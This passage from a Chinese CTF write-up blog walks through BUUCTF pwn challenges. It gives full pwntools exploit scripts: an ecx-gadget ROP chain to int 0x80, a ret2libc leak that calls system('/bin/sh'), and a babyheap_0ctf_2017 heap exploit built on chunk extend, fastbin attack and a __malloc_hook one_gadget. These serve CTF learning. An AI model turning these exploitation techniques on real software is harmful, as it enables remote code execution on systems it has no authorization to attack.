			temp.append(0)
			info -= 1
		elif info % 2 == 0:
			temp.append(1)
			info /= 2
		else:
			temp.append(0)
			info -= 1
	for index in range(len(temp)-1,-1,-1):
		if temp[index] == 0:
			payload += p32(inc_ecx_ret)
		elif temp[index] == 1:
			payload += p32(add_ecx_ecx_ret)
	#6  触发int 80
	payload += p32(int_80)

	conn.sendline(payload)	
	pause()
	conn.sendline("/bin/sh\x00")	

	conn.interactive()

方法二:知道libc情况下计算调用system函数
这个就是一般的栈溢出的利用思路,只不过注意buuctf的libc是在网站上给了的,和libcsearcher下载的不太一样
然后再寻找/bin/sh字符串学到了新方法,这个方法直接放代码了,很清楚了

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 25725
	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./ciscn_2019_ne_5'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
	#conn = process("./pwn2_sctf_2016")
	#pwnlib.gdb.attach(conn,"b *0x080485B7\nb *0x804852F\n")	

	'''步骤一:利用栈溢出泄露libc地址,调用printf函数'''
	printf_plt = 0x8048370
	vlun = 0x804852F
	printf_got = 0x804A00C
	__libc_start_main = 0x804a018
	
	conn.recvuntil("How many bytes do you want me to read?")
	conn.sendline("-1")
	conn.recvuntil("Ok, sounds good. Give me")
	
	payload = "A"*0x30 + p32(printf_plt) + p32(vlun) + p32(__libc_start_main)	#返回vuln函数
	conn.sendline(payload)
	conn.recvuntil("\n")

	__libc_start_main_leak = u32(conn.recv(4))
	print "The __libc_start_main leak is",hex(__libc_start_main_leak)

	#判断libc的版本
	libc = LibcSearcher("__libc_start_main",__libc_start_main_leak)
	libc_base = __libc_start_main_leak - libc.dump("__libc_start_main")
	print "The libc base is",hex(libc_base)
	
	'''步骤二:调用system函数'''
	conn.recvuntil("How many bytes do you want me to read?")
	conn.sendline("-1")	
	conn.recvuntil("Ok, sounds good. Give me")
	
	system = libc_base + libc.dump("system")	
	bin_sh = libc_base + libc.dump("str_bin_sh")	#这个搜索/bin/sh字符串
	exit = libc_base + libc.dump("exit")			#需要使函数正常退出,否则会报错timeout: the monitored command dumped core
	
	payload = "A"*0x30 + p32(system) + p32(exit)  + p32(bin_sh)
	conn.sendline(payload)	

	conn.interactive()

babyheap_0ctf_2017(Chunk Extend + Fastbin attack)

这个题目可以说是堆溢出的经典题目了,整体上思路是利用fill函数的写溢出,通过Chunk Extend的方法构造fake chunk,再泄露出main_arena地址,然后用fastbin bin attack控制malloc hook和realloc hook实现onegadget
函数功能很简单,不再过多赘述,具体的细节再下面的步骤中提及
第一步:利用Chunk Extend制造fake chunk
首先是为什么一定要这样?因为程序中对dump内容的长度是有限制的
在这里插入图片描述

	'''步骤一:利用Chunk Extend,伪造第2块的长度'''
	allocate(0x90) #0
	allocate(0x20) #1
	allocate(0x20) #2
	allocate(0x90) #3
	allocate(0x20) #4
	allocate(0x60) #5
	allocate(0x20) #6
	allocate(0x60) #7
	allocate(0x20) #8

	payload = "A"*0x20 + p64(0) + p64(0xd1)		#通过对1块的越界写伪造2块长度
	fill(1,payload)

	free(2)				
	allocate(0xc0) #2   通过free再malloc,将0xc0的长度记录再记录堆长度table中去,这样我们就可以解决dump长度受限的问题了

	fix = p64(0)*5 + p64(0xa1)		#在malloc大小为0xd0的第2块时,第3块的smallbin会被清零,需要修复第三块信息
	fill(2,fix)

第二步:利用smallbin泄露main arena地址
这一步是常规操作了,直接看代码就能看懂

第三步:fastbin attack 实现堆malloc hook和realloc hook的控制
这一步也是常规操作,注意在申请malloc hook附近的串要错位申请,申请大小只能时0x60,这也是为什么前面的第五个块大小是0x60的原因,同一个fastbin链的Size必须是一致的

	'''第三步:fastbin attack 实现堆malloc hook和realloc hook的控'''
	free(7)
	free(5)
	payload = p64(0)*5 + p64(0x71) + p64(malloc_hook-0x20 - 3)	#这里注意错位
	fill(4,payload)
	allocate(0x60) #0
	allocate(0x60) #3

第四步:计算onegadget偏移,触发漏洞

总结代码如下

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def allocate(size):
	conn.recvuntil("Command:")
	conn.sendline("1")
	conn.recvuntil("Size:")
	conn.sendline(str(size))

def fill(index,content):
	conn.recvuntil("Command:")
	conn.sendline("2")	
	conn.recvuntil("Index:")
	conn.sendline(str(index))
	conn.recvuntil("Size:")
	conn.sendline(str(len(content)))
	conn.recvuntil("Content:")
	conn.send(content)

def free(index):
	conn.recvuntil("Command:")
	conn.sendline("3")	
	conn.recvuntil("Index:")
	conn.sendline(str(index))

def dump(index):
	conn.recvuntil("Command:")
	conn.sendline("4")	
	conn.recvuntil("Index:")
	conn.sendline(str(index))

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 28616
	conn = remote(HOST ,PORT)
	'''步骤一:利用Chunk Extend,伪造第2块的长度'''
	allocate(0x90) #0
	allocate(0x20) #1
	allocate(0x20) #2
	allocate(0x90) #3
	allocate(0x20) #4
	allocate(0x60) #5
	allocate(0x20) #6
	allocate(0x60) #7
	allocate(0x20) #8

	payload = "A"*0x20 + p64(0) + p64(0xd1)		#通过对1块的越界写伪造2块长度
	fill(1,payload)

	free(2)				
	allocate(0xc0) #2   通过free再malloc,将0xc0的长度记录再记录堆长度table中去,这样我们就可以解决dump长度受限的问题了

	fix = p64(0)*5 + p64(0xa1)		#在malloc大小为0xd0的第2块时,第3块的smallbin会被清零,需要修复第三块信息
	fill(2,fix)

	'''第二步:利用smallbin泄露main arena地址'''
	free(3)
	free(0)

	payload = "A"*0x30		#利用步骤一伪造的bin,填充第二块后,可以泄露块3的内容
	fill(2,payload)
	dump(2)

	conn.recvuntil("A"*0x30)
	main_arena_88 = conn.recv(6).ljust(8,"\x00")
	main_arena = u64(main_arena_88) - 88 
	malloc_hook = main_arena - 0x10
	print "The malloc hook is",hex(malloc_hook)		#计算malloc hook地址

	libc = LibcSearcher("__malloc_hook",malloc_hook)
	libc_base = malloc_hook - libc.dump("__malloc_hook")
	print "The libc base is ",hex(libc_base)		#计算libc基地址

	'''第三步:fastbin attack 实现堆malloc hook和realloc hook的控'''
	free(7)
	free(5)
	payload = p64(0)*5 + p64(0x71) + p64(malloc_hook-0x20 - 3)	#这里注意错位
	fill(4,payload)
	allocate(0x60) #0
	allocate(0x60) #3

	'''第四步:利用malloc hook和realloc hook实现onegadget'''
	one_gadget = libc_base + 0xf1147
	print "The one_gadget is",hex(one_gadget)
	realloc = libc_base + libc.dump("realloc")
	print "The realloc is ",hex(realloc)
	payload = "\x00" * (0x8 + 3) + p64(one_gadget)+ p64(realloc)
	fill(3,payload)
	# malloc hook -> realloc hook -> onegadget

	allocate(0x20)		#触发malloc hook

	conn.interactive()
  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-05-08 08:27:37  更:2022-05-08 08:29:54 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/29 10:47:35-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计